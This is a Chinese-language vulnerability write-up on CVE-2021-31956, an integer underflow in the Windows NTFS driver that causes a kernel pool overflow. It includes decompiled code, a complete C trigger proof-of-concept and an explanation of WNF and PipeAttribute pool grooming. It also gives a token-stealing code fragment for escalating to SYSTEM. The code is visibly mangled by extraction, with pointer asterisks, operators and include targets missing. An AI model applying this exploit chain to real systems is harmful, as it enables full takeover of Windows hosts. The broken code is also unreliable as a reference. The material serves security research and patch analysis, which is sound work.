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Windows NTFS本地提权漏洞 CVE-2021-31956

聚合站 SecWiki技术 作者 看雪学苑 发布 2023年12月2日 17:59 入库 2026-11-18T08:44:54

参考链接:

https://research.nccgroup.com/2021/07/15/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-1/

https://research.nccgroup.com/2021/08/17/cve-2021-31956-exploiting-the-windows-kernel-ntfs-with-wnf-part-2/

https://paper.seebug.org/1743

使用PipeAttribution构造任意地址读后,修改_WNF_NAME_INSTANCE结构体内的指针_WNF_STATE_DATA实现任意地址写。

https://dawnslab.jd.com/CVE-2021-31956/

https://github.com/hzshang/CVE-2021-31956

使用使用NtQueryWnfStateData和NtUpDateWnfStateData API来造成任意地址的读写(需要构造AllocateSize和DataSize成员)。

https://bbs.kanxue.com/thread-271140.htm

https://github.com/aazhuliang/CVE-2021-31956-EXP

漏洞在windows的NTFS文件系统驱动上(C:\Windows\System32\drivers\ntfs.sys)的NtfsQueryEaUserEaList函数中。

NTFS文件系统允许为每一个文件额外存储若干个键值对属性,称之为EA(Extend Attribution) 。可以通过ZwSetEaFile为文件创建EA,ZwQueryEaFile查询文件EA。

typedef struct _FILE_GET_EA_INFORMATION {ULONG NextEntryOffset;UCHAR EaNameLength;CHAR EaName[1];} FILE_GET_EA_INFORMATION, PFILE_GET_EA_INFORMATION;typedef struct _FILE_FULL_EA_INFORMATION {ULONG NextEntryOffset;UCHAR Flags;UCHAR EaNameLength;USHORT EaValueLength;CHAR EaName[1];} FILE_FULL_EA_INFORMATION, PFILE_FULL_EA_INFORMATION;

一

漏洞成因

泄露的NT5.1中有NtfsQueryEaUserEaList的源码。

NT5.1泄露的源码

https://github.com/0x5bfa/NT5.1/blob/master/Source/XPSP1/NT/base/fs/ntfs/ea.c#L1461

IO_STATUS_BLOCKNtfsQueryEaUserEaList(IN PFILE_FULL_EA_INFORMATION CurrentEas,IN PEA_INFORMATION EaInformation,OUT PFILE_FULL_EA_INFORMATION EaBuffer,IN ULONG UserBufferLength,IN PFILE_GET_EA_INFORMATION UserEaList,IN BOOLEAN ReturnSingleEntry)/++Routine Description:This routine is the work routine for querying EAs given a listof Ea's to search for.Arguments:CurrentEas - This is a pointer to the current Eas for the fileEaInformation - This is a pointer to an Ea information attribute.EaBuffer - Supplies the buffer to receive the full easUserBufferLength - Supplies the length, in bytes, of the user bufferUserEaList - Supplies the user specified ea name listReturnSingleEntry - Indicates if we are to return a single entry or notReturn Value:IO_STATUS_BLOCK - Receives the completion status for the operation--/{IO_STATUS_BLOCK Iosb;ULONG GeaOffset;ULONG FeaOffset;ULONG Offset;PFILE_FULL_EA_INFORMATION LastFullEa;PFILE_FULL_EA_INFORMATION NextFullEa;PFILE_GET_EA_INFORMATION GetEa;BOOLEAN Overflow;ULONG PrevEaPadding;PAGED_CODE();DebugTrace(+1, Dbg, ("NtfsQueryEaUserEaList: Entered\n"));//// Setup pointer in the output buffer so we can track the Ea being// written to it and the last Ea written.//LastFullEa = NULL;Overflow = FALSE;//// Initialize our next offset value.//GeaOffset = 0;Offset = 0;PrevEaPadding = 0;//// Loop through all the entries in the user's ea list.//while (TRUE) {STRING GeaName;STRING OutputEaName;ULONG RawEaSize;//// Get the next entry in the user's list.//GetEa = (PFILE_GET_EA_INFORMATION)Add2Ptr(UserEaList, GeaOffset);//// Make a string reference to the name and see if we can locate// the ea by name.//GeaName.MaximumLength = GeaName.Length = GetEa->EaNameLength;GeaName.Buffer = &GetEa->EaName[0];//// Upcase the name so we can do a case-insensitive compare.//NtfsUpcaseEaName(&GeaName, &GeaName);//// Check for a valid name.//if (!NtfsIsEaNameValid(GeaName)) {DebugTrace(-1, Dbg, ("NtfsQueryEaUserEaList: Invalid Ea Name\n"));Iosb.Information = GeaOffset;Iosb.Status = STATUS_INVALID_EA_NAME;return Iosb;}GeaOffset += GetEa->NextEntryOffset;//// If this is a duplicate name, then step over this entry.//if (NtfsIsDuplicateGeaName(GetEa, UserEaList)) {//// If we've exhausted the entries in the Get Ea list, then we are// done.//if (GetEa->NextEntryOffset == 0) {break;}else {continue;}}//// Generate a pointer in the Ea buffer.//NextFullEa = (PFILE_FULL_EA_INFORMATION)Add2Ptr(EaBuffer, Offset + PrevEaPadding);//// Try to find a matching Ea.// If we couldn't, let's dummy up an Ea to give to the user.//if (!NtfsLocateEaByName(CurrentEas,EaInformation->UnpackedEaSize,&GeaName,&FeaOffset)) {//// We were not able to locate the name therefore we must// dummy up a entry for the query. The needed Ea size is// the size of the name + 4 (next entry offset) + 1 (flags)// + 1 (name length) + 2 (value length) + the name length +// 1 (null byte).//RawEaSize = 4 + 1 + 1 + 2 + GetEa->EaNameLength + 1;if ((RawEaSize + PrevEaPadding) > UserBufferLength) {Overflow = TRUE;break;}//// Everything is going to work fine, so copy over the name,// set the name length and zero out the rest of the ea.//NextFullEa->NextEntryOffset = 0;NextFullEa->Flags = 0;NextFullEa->EaNameLength = GetEa->EaNameLength;NextFullEa->EaValueLength = 0;RtlCopyMemory(&NextFullEa->EaName[0],&GetEa->EaName[0],GetEa->EaNameLength);//// Upcase the name in the buffer.//OutputEaName.MaximumLength = OutputEaName.Length = GeaName.Length;OutputEaName.Buffer = NextFullEa->EaName;NtfsUpcaseEaName(&OutputEaName, &OutputEaName);NextFullEa->EaName[GetEa->EaNameLength] = 0;//// Otherwise return the Ea we found back to the user.//}else {PFILE_FULL_EA_INFORMATION ThisEa;//// Reference this ea.//ThisEa = (PFILE_FULL_EA_INFORMATION)Add2Ptr(CurrentEas, FeaOffset);//// Check if this Ea can fit in the user's buffer.//RawEaSize = RawUnpackedEaSize(ThisEa);if (RawEaSize > (UserBufferLength - PrevEaPadding)) {Overflow = TRUE;break;}//// Copy this ea to the user's buffer.//RtlCopyMemory(NextFullEa,ThisEa,RawEaSize);NextFullEa->NextEntryOffset = 0;}//// Compute the next offset in the user's buffer.//Offset += (RawEaSize + PrevEaPadding);//// If we were to return a single entry then break out of our loop// now//if (ReturnSingleEntry) {break;}//// If we have a new Ea entry, go back and update the offset field// of the previous Ea entry.//if (LastFullEa != NULL) {LastFullEa->NextEntryOffset = PtrOffset(LastFullEa, NextFullEa);}//// If we've exhausted the entries in the Get Ea list, then we are// done.//if (GetEa->NextEntryOffset == 0) {break;}//// Remember this as the previous ea value. Also update the buffer// length values and the buffer offset values.//LastFullEa = NextFullEa;UserBufferLength -= (RawEaSize + PrevEaPadding);//// Now remember the padding bytes needed for this call.//PrevEaPadding = LongAlign(RawEaSize) - RawEaSize;}//// If the Ea information won't fit in the user's buffer, then return// an overflow status.//if (Overflow) {Iosb.Information = 0;Iosb.Status = STATUS_BUFFER_OVERFLOW;//// Otherwise return the length of the data returned.//}else {//// Return the length of the buffer filled and a success// status.//Iosb.Information = Offset;Iosb.Status = STATUS_SUCCESS;}DebugTrace(0, Dbg, ("Status -> %08lx\n", Iosb.Status));DebugTrace(0, Dbg, ("Information -> %08lx\n", Iosb.Information));DebugTrace(-1, Dbg, ("NtfsQueryEaUserEaList: Exit\n"));return Iosb;}

Ntfs IDA

_QWORD __fastcall NtfsQueryEaUserEaList(_QWORD a1, _FILE_FULL_EA_INFORMATION ea_blocks_for_file, __int64 out_buf, __int64 a4, unsigned int out_buf_length, _FILE_GET_EA_INFORMATION eaList, char a7){int v8; // ediunsigned int v9; // ebxunsigned int padding; // er15_FILE_GET_EA_INFORMATION GetEa; // r12ULONG v12; // er14unsigned __int8 v13; // r13_FILE_GET_EA_INFORMATION curEaList; // rbxunsigned int v15; // ebx_DWORD v16; // r13unsigned int ea_block_size; // er14unsigned int v18; // ebx_FILE_FULL_EA_INFORMATION ea_block; // rdxchar v21; // alULONG v22; // [rsp+20h] [rbp-38h]unsigned int v23; // [rsp+24h] [rbp-34h] BYREF_DWORD v24; // [rsp+28h] [rbp-30h]struct _STRING DestinationString; // [rsp+30h] [rbp-28h] BYREFSTRING SourceString; // [rsp+40h] [rbp-18h] BYREFunsigned int offest; // [rsp+A0h] [rbp+48h]v8 = 0;a1 = 0i64;v24 = 0i64;v9 = 0;offest = 0;padding = 0;a1[1] = 0i64;while ( 1 ){ // 索引ealist中的成员,用作下面的查找。GetEa = (_FILE_GET_EA_INFORMATION )((char )eaList + v9);(_QWORD )&DestinationString.Length = 0i64;DestinationString.Buffer = 0i64;(_QWORD )&SourceString.Length = 0i64;SourceString.Buffer = 0i64;(_QWORD )&DestinationString.Length = GetEa->EaNameLength;DestinationString.MaximumLength = DestinationString.Length;DestinationString.Buffer = GetEa->EaName;RtlUpperString(&DestinationString, &DestinationString);if ( !(unsigned __int8)NtfsIsEaNameValid(&DestinationString) )// 检查ealist中成员的name是否有效break;v12 = GetEa->NextEntryOffset;v13 = GetEa->EaNameLength;v22 = GetEa->NextEntryOffset + v9;for ( curEaList = eaList; ; curEaList = (_FILE_GET_EA_INFORMATION )((char )curEaList + curEaList->NextEntryOffset) )// 遍历查询的EaList{if ( curEaList == GetEa ){v15 = offest;v16 = (_DWORD )(a4 + padding + offest);if ( (unsigned __int8)NtfsLocateEaByName(// 根据name查找对应的Ea信息ea_blocks_for_file,(unsigned int )(out_buf + 4),&DestinationString,&v23) ){ea_block = (_FILE_FULL_EA_INFORMATION )((char )ea_blocks_for_file + v23);ea_block_size = ea_block->EaValueLength + ea_block->EaNameLength + 9;// 计算内存拷贝大小if ( ea_block_size <= out_buf_length - padding )// 防溢出检查// 两个uint32相减以后发生整数溢出绕过检查{memmove(v16, ea_block, ea_block_size);// 溢出点v16 = 0;goto LABEL_8;}}else{ea_block_size = GetEa->EaNameLength + 9;// 9=4(next entry offset)+1(flags)+1(name length)+2(value length)+1(null byte)if ( ea_block_size + padding <= out_buf_length ){v16 = 0;((_BYTE )v16 + 4) = 0;((_BYTE )v16 + 5) = GetEa->EaNameLength;((_WORD )v16 + 3) = 0;memmove(v16 + 2, GetEa->EaName, GetEa->EaNameLength);SourceString.Length = DestinationString.Length;SourceString.MaximumLength = DestinationString.Length;SourceString.Buffer = (PCHAR)(v16 + 2);RtlUpperString(&SourceString, &SourceString);v15 = offest;((_BYTE )v16 + GetEa->EaNameLength + 8) = 0;LABEL_8:v18 = ea_block_size + padding + v15;offest = v18;if ( !a7 ){if ( v24 )v24 = (_DWORD)v16 - (_DWORD)v24;if ( GetEa->NextEntryOffset ) // 判断是ealist中是否还有其他成员{v24 = v16;out_buf_length -= ea_block_size + padding;// 总长度减去已经拷贝的长度padding = ((ea_block_size + 3) & 0xFFFFFFFC) - ea_block_size;// padding的计算goto LABEL_26;}}LABEL_12:a1[1] = v18;LABEL_13:(_DWORD )a1 = v8;return a1;}}v21 = NtfsStatusDebugFlags;a1[1] = 0i64;if ( v21 )NtfsStatusTraceAndDebugInternal(0i64, 2147483653i64, 919406i64);v8 = -2147483643;goto LABEL_13;}if ( v13 == curEaList->EaNameLength && !memcmp(GetEa->EaName, curEaList->EaName, v13) )break;}if ( !v12 ){v18 = offest;goto LABEL_12;}LABEL_26:v9 = v22;}a1[1] = v9;if ( NtfsStatusDebugFlags )NtfsStatusTraceAndDebugInternal(0i64, 2147483667i64, 919230i64);(_DWORD )a1 = -2147483629;return a1;}

NtfsQueryEaUserEaList从 循环遍历文件的每个 NTFS 扩展属性 (Ea),并根据ea_block->EaValueLength + ea_block->EaNameLength + 9的大小从 Ea 块复制到输出缓冲区。

有一个检查确保ea_block_size小于或等于out_buf_length - padding。然后,out_buf_length会减去ea_block_size及其填充的大小。填充是通过((ea_block_size + 3) 0xFFFFFFFC) - ea_block_size来计算的。因为每个EA块应该填充为32位对齐。

假设文件的扩展属性中有两个扩展属性。

正常情况下:

第一次迭代:

EaNameLength = 5EaValueLength = 4ea_block_size = 9 + 5 + 4 = 18padding = 0

因此18 < out_buf_length - 0,数据将被复制到缓冲区中。

第二次迭代:

out_buf_length = 30 - 18 + 0out_buf_length = 12 // we would have 12 bytes left of the output buffer.padding = ((18+3) 0xFFFFFFFC) - 18padding = 2

在文件中添加一个具有相同值的第二个扩展属性。

EaNameLength = 5EaValueLength = 4ea_block_size = 9 + 5 + 4 = 1818 <= 12 - 2 // is False.

由于缓冲区太小,第二次内存复制将不会发生。

整数溢出

第一个扩展属性:EaNameLength = 5EaValueLength = 4第二个扩展属性:EaNameLength = 5EaValueLength = 47

第一次迭代:

EaNameLength = 5EaValueLength = 4ea_block_size = 9 + 5 + 4 // 18padding = 0

检查结果为:18 <= 18 - 0 // is True and a copy of 18 occurs.

第二个扩展属性具有以下值:

EaNameLength = 5EaValueLength = 47ea_block_size = 5 + 47 + 9ea_block_size = 137

结果检查将是:ea_block_size <= out_buf_length - padding137 <= 0 - 2

发生下溢,137 个字节将被复制到缓冲区末尾,从而损坏相邻内存。

查看NtfsQueryEaUserEaList函数的调用者NtfsCommonQueryEa,我们可以看到输出缓冲区是根据请求的大小在分页池上分配的。

NtfsCommonQueryEa函数可通过ZwQueryEaFIle函数调用。

// 为文件创建EANTSTATUS ZwSetEaFile([in] HANDLE FileHandle,[out] PIO_STATUS_BLOCK IoStatusBlock,[in] PVOID Buffer,[in] ULONG Length);// 查询文件EANTSTATUS ZwQueryEaFile([in] HANDLE FileHandle, //文件句柄[out] PIO_STATUS_BLOCK IoStatusBlock,[out] PVOID Buffer, //扩展属性缓冲区(FILE_FULL_EA_INFORMATION结构)[in] ULONG Length, //缓冲区大小[in] BOOLEAN ReturnSingleEntry,[in, optional] PVOID EaList, //指定需要查询的扩展属性[in] ULONG EaListLength,[in, optional] PULONG EaIndex, //指定需要查询的起始索引[in] BOOLEAN RestartScan);

可以看到输出缓冲区Buffer以及该缓冲区的长度都是从用户空间传入的。这意味着我们根据缓冲区的大小控制内核空间的内存分配。

该漏洞对攻击者来说:溢出拷贝时数据和大小均可控。可以覆盖下一个内核池块。内核池分配时大小可控,并且可以进行堆布局。

二

触发漏洞

Windows10引入了新的方式进行堆块管理,称为Segment Heap,具体可看以下论文:

https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf

EXP:https://github.com/aazhuliang/CVE-2021-31956-EXP

仿照EXP改的可以触发溢出的POC。

include #include #include #define PAYLOAD_SIZE 1000#define TIGGER_EA_NAME ".PA"#define OVER_EA_NAME ".PBB"#define TIGGER_EA_NAME_LENGTH (UCHAR)(strlen(TIGGER_EA_NAME))#define OVER_EA_NAME_LENGTH (UCHAR)(strlen(OVER_EA_NAME))#define OVER_STATEDATA_LENGTH 0x1000#define OVER_EA_VALUE_LENGTH (0xf)#define KERNAL_ALLOC_SIZE 0xae#define FRIST_RAWSIZE ((KERNAL_ALLOC_SIZE) - (1))#define TIGGER_EA_VALUE_LENGTH ((FRIST_RAWSIZE) - (TIGGER_EA_NAME_LENGTH) -(9))typedef struct _IO_STATUS_BLOCK {union {NTSTATUS Status;PVOID Pointer;};ULONG_PTR Information;} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;typedef NTSTATUS(NTAPI __ZwQueryEaFile)(HANDLE FileHandle,PIO_STATUS_BLOCK IoStatusBlock,PVOID Buffer,ULONG Length,BOOLEAN ReturnSingleEntry,PVOID EaList,ULONG EaListLength,PULONG EaIndex,BOOLEAN RestartScan);typedef NTSTATUS(NTAPI __ZwSetEaFile)(HANDLE FileHandle,PIO_STATUS_BLOCK IoStatusBlock,PVOID Buffer,ULONG Length);typedef struct _FILE_FULL_EA_INFORMATION {ULONG NextEntryOffset;UCHAR Flags;UCHAR EaNameLength;USHORT EaValueLength;CHAR EaName[1];} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;typedef struct _FILE_GET_EA_INFORMATION {ULONG NextEntryOffset;UCHAR EaNameLength;CHAR EaName[1];} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;__ZwQueryEaFile NtQueryEaFile = NULL;__ZwSetEaFile NtSetEaFile = NULL;UINT64 OVER_STATENAME = 0;int main(){HMODULE hNtDll = NULL;hNtDll = LoadLibrary(L"ntdll.dll");if (hNtDll == NULL){printf("load ntdll failed!\r\n");return 0;}NtQueryEaFile = (__ZwQueryEaFile)GetProcAddress(hNtDll, "NtQueryEaFile");NtSetEaFile = (__ZwSetEaFile)GetProcAddress(hNtDll, "ZwSetEaFile");if (NtQueryEaFile == NULL ||NtSetEaFile == NULL){printf("not found functions\r\n");return 0;}PFILE_GET_EA_INFORMATION EaList = NULL;PFILE_GET_EA_INFORMATION EaListCP = NULL;PVOID eaData = NULL;DWORD dwNumberOfBytesWritten = 0;UCHAR payLoad[PAYLOAD_SIZE] = { 0 };PFILE_FULL_EA_INFORMATION curEa = NULL;HANDLE hFile = INVALID_HANDLE_VALUE;IO_STATUS_BLOCK eaStatus = { 0 };NTSTATUS rc;PISECURITY_DESCRIPTOR pSecurity = NULL;PUCHAR pd = NULL;int state = -1;hFile = CreateFileA("payload",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if (hFile == INVALID_HANDLE_VALUE){printf("create the file failed\r\n");goto ERROR_HANDLE;}WriteFile(hFile, "This files has an optional .COMMENTS EA\n",strlen("This files has an optional .COMMENTS EA\n"),&dwNumberOfBytesWritten, NULL);curEa = (PFILE_FULL_EA_INFORMATION)payLoad;curEa->Flags = 0;curEa->EaNameLength = TIGGER_EA_NAME_LENGTH;curEa->EaValueLength = TIGGER_EA_VALUE_LENGTH;//align 4。curEa->NextEntryOffset = (curEa->EaNameLength + curEa->EaValueLength + 3 + 9) & (~3);memcpy(curEa->EaName, TIGGER_EA_NAME, TIGGER_EA_NAME_LENGTH);RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, TIGGER_EA_VALUE_LENGTH, 'A');curEa = (PFILE_FULL_EA_INFORMATION)((PUCHAR)curEa + curEa->NextEntryOffset);curEa->NextEntryOffset = 0;curEa->Flags = 0;curEa->EaNameLength = OVER_EA_NAME_LENGTH;curEa->EaValueLength = OVER_EA_VALUE_LENGTH;memcpy(curEa->EaName, OVER_EA_NAME, OVER_EA_NAME_LENGTH);RtlFillMemory(curEa->EaName + curEa->EaNameLength + 1, OVER_EA_VALUE_LENGTH, 0);pd = (PUCHAR)(curEa);rc = NtSetEaFile(hFile, &eaStatus, payLoad, sizeof(payLoad));if (rc != 0){printf("NtSetEaFile failed error code is %x\r\n", rc);goto ERROR_HANDLE;}eaData = malloc(sizeof(payLoad));if (eaData == NULL){goto ERROR_HANDLE;}memset(eaData, 0, sizeof(payLoad));EaList = (PFILE_GET_EA_INFORMATION)malloc(100);if (EaList == NULL){goto ERROR_HANDLE;}EaListCP = EaList;memset(EaList, 0, 100);memcpy(EaList->EaName, ".PA", strlen(".PA"));EaList->EaNameLength = (UCHAR)strlen(".PA");EaList->NextEntryOffset = 12; // align 4EaList = (PFILE_GET_EA_INFORMATION)((PUCHAR)EaList + 12);memcpy(EaList->EaName, ".PBB", strlen(".PBB"));EaList->EaNameLength = (UCHAR)strlen(".PBB");EaList->NextEntryOffset = 0;rc = NtQueryEaFile(hFile, &eaStatus, eaData, KERNAL_ALLOC_SIZE, FALSE, EaListCP, 100, 0, TRUE);state = 0;ERROR_HANDLE:if (hFile != INVALID_HANDLE_VALUE){CloseHandle(hFile);hFile = INVALID_HANDLE_VALUE;}if (EaList != NULL){free(EaListCP);EaList = NULL;}if (eaData != NULL){free(eaData);eaData = NULL;}if (pSecurity != NULL){free(pSecurity);pSecurity = NULL;}return 0;}

bu ntdll!NtQueryEaFilebu Ntfs!NtfsQueryEaUserEaListbu Ntfs!NtfsQueryEaUserEaList+0x19fbu Ntfs!NtfsQueryEaUserEaList+0x1b2

可以看到整数下溢。

三

漏洞利用

Windows10引入了新的方式进行堆块管理,称为Segment Heap。

详见:https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf

中文翻译:https://paper.seebug.org/1743

POOL_HEADER

POOL_HEADER 在池中,适合单个页面的所有块都以POOL_HEADER结构开头,POOL_HEADER包含分配器所需信息和Tag信息。当试图在Windows内核中利用堆溢出漏洞时,首先要覆盖的就是POOL_HEADER结构。攻击者有两个选择:重写一个正确的POOL_HEADER结构,并用来攻击下一个块的数据,或者直接攻击POOL_HEADER结构。

struct POOL_HEADER{char PreviousSize; //之前的块的大小除以16char PoolIndex; //PoolDescriptor数组中的索引char BlockSize; //当前分配的大小除以16char PoolType; //包含分配类型信息的位域int PoolTag;Ptr64 ProcessBilled ; //指向分配内存的进程的KPROCESS的指针,只有PoolType中包含PoolQuota标志时,才设置此字段。};

PoolType是一个位域,存储若干信息:使用的内存类型,可以是NonPagedPool、PagedPool、SessionPool或NonPagedPoolNx;如果分配是关键的(bit 1)并且必须成功。那么当分配失败,就会触发BugCheck;如果分配与缓存大小对齐(bit 2)如果分配使用了PoolQuota机制(bit 3)

其他未文档化的机制:

NonPagedPool = 0PagedPool = 1NonPagedPoolMustSucceed = 2DontUseThisType = 3NonPagedPoolCacheAligned = 4PagedPoolCacheAligned = 5NonPagedPoolCacheAlignedMustSucceed = 6MaxPoolType = 7PoolQuota = 8NonPagedPoolSession = 20hPagedPoolSession = 21hNonPagedPoolMustSucceedSession = 22hDontUseThisTypeSession = 23hNonPagedPoolCacheAlignedSession = 24hPagedPoolCacheAlignedSession = 25hNonPagedPoolCacheAlignedMustSSession = 26hNonPagedPoolNx = 200hNonPagedPoolNxCacheAligned = 204hNonPagedPoolSessionNx = 220h

四

相对偏移地址读写

WNF

WNF Windows Notification Facitily 是 Windows 中的一个通知系统。应用程序可以订阅特定类型的事件(StateName标识),在每次状态更改时可以进行通知。

WNF 利用相关文章:https://docplayer.net/145030841-The-windows-notification-facility.htmlhttps://blog.quarkslab.com/playing-with-the-windows-notification-facility-wnf.html

结构体_WNF_STATE_DATA大可以由用户自定义。

struct _WNF_STATE_DATA{struct _WNF_NODE_HEADER Header;//0x0ULONG AllocatedSize;//0x4 // 分配的内核池大小ULONG DataSize;//0x8 // 当前数据大小ULONG ChangeStamp;//0xc};

用户可以通过NtCreateWnfStateName创建一个WNF对象实例,实例的数据结构为_WNF_NAME_INSTANCE;WNF对象大小为0xb8(WNF_NAME_INSTANCE + POOL_HEADER )。

typedef NTSTATUS (NTAPI * __NtCreateWnfStateName)(Out PWNF_STATE_NAME StateName,In WNF_STATE_NAME_LIFETIME NameLifetime,In WNF_DATA_SCOPE DataScope,In BOOLEAN PersistData,In_opt PCWNF_TYPE_ID TypeId,In ULONG MaximumStateSize,In PSECURITY_DESCRIPTOR SecurityDescriptor);

struct _WNF_NAME_INSTANCE{struct _WNF_NODE_HEADER Header;//0x0struct _EX_RUNDOWN_REF RunRef;//0x8struct _RTL_BALANCED_NODE TreeLinks;//0x10struct _WNF_STATE_NAME_STRUCT StateName;//0x28struct _WNF_SCOPE_INSTANCE ScopeInstance;//0x30struct _WNF_STATE_NAME_REGISTRATION StateNameInfo;//0x38struct _WNF_LOCK StateDataLock;//0x50struct _WNF_STATE_DATA StateData;//0x58ULONG CurrentChangeStamp;//0x60VOID PermanentDataStore;//0x68struct _WNF_LOCK StateSubscriptionListLock;//0x70struct _LIST_ENTRY StateSubscriptionListHead;//0x78struct _LIST_ENTRY TemporaryNameListEntry;//0x88struct _EPROCESS CreatorProcess;//0x98LONG DataSubscribersCount;//0xa0LONG CurrentDeliveryCount;//0xa4};

NtUpdateWnfStateData可以往对象里写入数据,使用_WNF_STATE_DATA结构存储写入的内容:

typedef NTSTATUS (NTAPI * __NtUpdateWnfStateData)(In PWNF_STATE_NAME StateName,In_reads_bytes_opt(Length) const VOID * Buffer,In_opt ULONG Length,In_opt PCWNF_TYPE_ID TypeId,In_opt const PVOID ExplicitScope,In WNF_CHANGE_STAMP MatchingChangeStamp,In ULONG CheckStamp);

通过NtQueryWnfStateData可以读取之前写入的数据,通过NtDeleteWnfStateData可以释放掉这个对象。NtDeleteWnfStateDat会调用ExpWnfDeleteStateData。

typedef NTSTATUS (NTAPI * __NtQueryWnfStateData)(In PWNF_STATE_NAME StateName,In_opt PWNF_TYPE_ID TypeId,In_opt const VOID * ExplicitScope,Out PWNF_CHANGE_STAMP ChangeStamp,Out_writes_bytes_to_opt(BufferSize, BufferSize) PVOID Buffer,Inout PULONG BufferSize);

DataSize表示内存中_WNF_STATE_DATA结构的实际数据的大小,并用于NtQueryWnfStateData函数内的边界检查。_WNF_STATE_DATA结构存储写入的内容的内存复制操作发生在函数ExpWnfReadStateData中。

__int64 __fastcall ExpWnfReadStateData(__int64 nameinstance, _DWORD CurrentChangeStamp, void dest, unsigned int BufferSize, _DWORD outbufsize){volatile signed __int64 v9; // rbx__int64 v10; // rdi_DWORD StateData; // rdxunsigned int DataSize; // eaxunsigned int v14; // [rsp+20h] [rbp-48h]v14 = 0;v9 = (volatile signed __int64 )(nameinstance + 0x50);v10 = KeAbPreAcquire(nameinstance + 0x50, 0i64, 0);if ( _InterlockedCompareExchange64(v9, 17i64, 0i64) )ExfAcquirePushLockSharedEx(v9, v10, v9);if ( v10 )(_BYTE )(v10 + 26) |= 1u;StateData = (_DWORD )(nameinstance + 0x58);// StateDataif ( !StateData ){CurrentChangeStamp = 0;goto LABEL_11;}if ( StateData == (_DWORD )1 ){CurrentChangeStamp = (_DWORD )(nameinstance + 0x60);LABEL_11:outbufsize = 0;goto LABEL_13;}CurrentChangeStamp = StateData[3];outbufsize = StateData[2];DataSize = StateData[2];if ( BufferSize < DataSize ){ // length check on size herev14 = -1073741789; // STATUS_BUFFER_TOO_SMALL}else{memmove(dest, StateData + 4, DataSize);v14 = 0;}LABEL_13:if ( _InterlockedCompareExchange64(v9, 0i64, 17i64) != 17 )ExfReleasePushLockShared((signed __int64 )v9);KeAbPostRelease((ULONG_PTR)v9);return v14;}

通过堆喷控制内存,使用NTFS的堆溢出越界写_WNF_STATE_DATA中的DataSize,接下来通过NtQueryWnfStateData实现相对偏移地址读写。

五

任意地址读-1

通过PipeAttribute实现任意地址读。

PipeAttribute详见:https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf

typedef struct pipe_attribute {LIST_ENTRY list;char AttributeName;size_t ValueSize;char AttributeValue;char data[0];} pipe_attribute_t;

PipeAttribute块的大小也是可控的,并且分配在分页池上,因此可以将块放置在与易受攻击的 NTFS 块或允许相对写入的 WNF 块相邻的位置。两个指针AttributeName、AttributeValue 正常情况下是指向PipeAttribute.data[]后面的,通过堆布局,将AttributeValue的指针该为任意地址,就可以实现任意地址读。遗憾的是,windows并没有提供直接更新该数据结构的功能,不能通过该方法进行任意地址写。

使用这个布局,修改PipeAttribute的Flink指针,并将其指向一个伪造的管道属性。

// 使指向下一个属性的指针在用户层overwritten_pipe_attribute->list.Flink = (LIST_ENTRY *)xploit->fake_pipe_attribute;

分页池创建管道后,用户可以向管道添加属性,同时属性值分配的大小和填充的数据完全由用户来控制。

AttributeName和AttributeValue是指向数据区不同偏移的两个指针。同时在用户层,可以使用0x110038控制码来读取属性值。AttributeValue指针和AttributeValueSize大小将被用于读取属性值并返回给用户。

属性值可以被修改,但这会触发先前的PipeAttribute的释放和新的PipeAttribute的分配。这意味着如果攻击者可以控制PipeAttribute结构体的AttributeValue和AttributeValueSize字段,它就可以在内核中任意读取数据,但不能任意写。

所以,控制Pipe_Attribute的List_next指针值,使其指向用户层的Pipe_Attribute,也就意味着用户层的PipeAttribute结构体的AttributeValue和AttributeValueSize字段我们可以任意指定,也就可以在内核中任意读取数据数据,即获得了一个任意地址读原语。

六

任意地址写-1

释放掉堆喷未修改的其他的Pipe_Attribute结构,使用_WNF_NAME_INSTANCE重新进行堆喷,通过局部地址读写,覆盖掉下一个Wnf结构体里的_WNF_STATE_DATA,将其指向当前进程的EPROCESS,使用NtUpdateWnfStateData操作,即可实现写操作。

_WNF_NAME_INSTANCE结构的CreatorProcess包含_EPROCESS指针。

nt!_WNF_NAME_INSTANCE+0x000 Header : _WNF_NODE_HEADER+0x008 RunRef : _EX_RUNDOWN_REF+0x010 TreeLinks : _RTL_BALANCED_NODE+0x028 StateName : _WNF_STATE_NAME_STRUCT+0x030 ScopeInstance : Ptr64 _WNF_SCOPE_INSTANCE+0x038 StateNameInfo : _WNF_STATE_NAME_REGISTRATION+0x050 StateDataLock : _WNF_LOCK+0x058 StateData : Ptr64 _WNF_STATE_DATA+0x060 CurrentChangeStamp : Uint4B+0x068 PermanentDataStore : Ptr64 Void+0x070 StateSubscriptionListLock : _WNF_LOCK+0x078 StateSubscriptionListHead : _LIST_ENTRY+0x088 TemporaryNameListEntry : _LIST_ENTRY+0x098 CreatorProcess : Ptr64 _EPROCESS+0x0a0 DataSubscribersCount : Int4B+0x0a4 CurrentDeliveryCount : Int4B

遍历进程链表,获得pid4的token。

ULONGLONG eprocess = (ULONGLONG)tmp_name.CreatorProcess;ULONG process_id_offset;ULONG token_offset;ULONG link_offset;if (locate_exp_offset(eprocess, &process_id_offset, &token_offset, &link_offset))goto die;// we need locate process id offsetULONGLONG token_addr = eprocess + token_offset;UCHAR begin_eprocess = eprocess;while (1) {ULONGLONG process_id;ab_read(eprocess + process_id_offset, &process_id, 8);if (process_id == 4) {break;}UCHAR tmp;ab_read(eprocess + link_offset, &tmp, 8);tmp -= link_offset;if (tmp == begin_eprocess) {break;}eprocess = tmp;}ULONGLONG token;ab_read(eprocess + token_offset,&token, 8);DEBUG("system token %016llx\n", token);

修改 WNF的StateData指向当前进程的token。

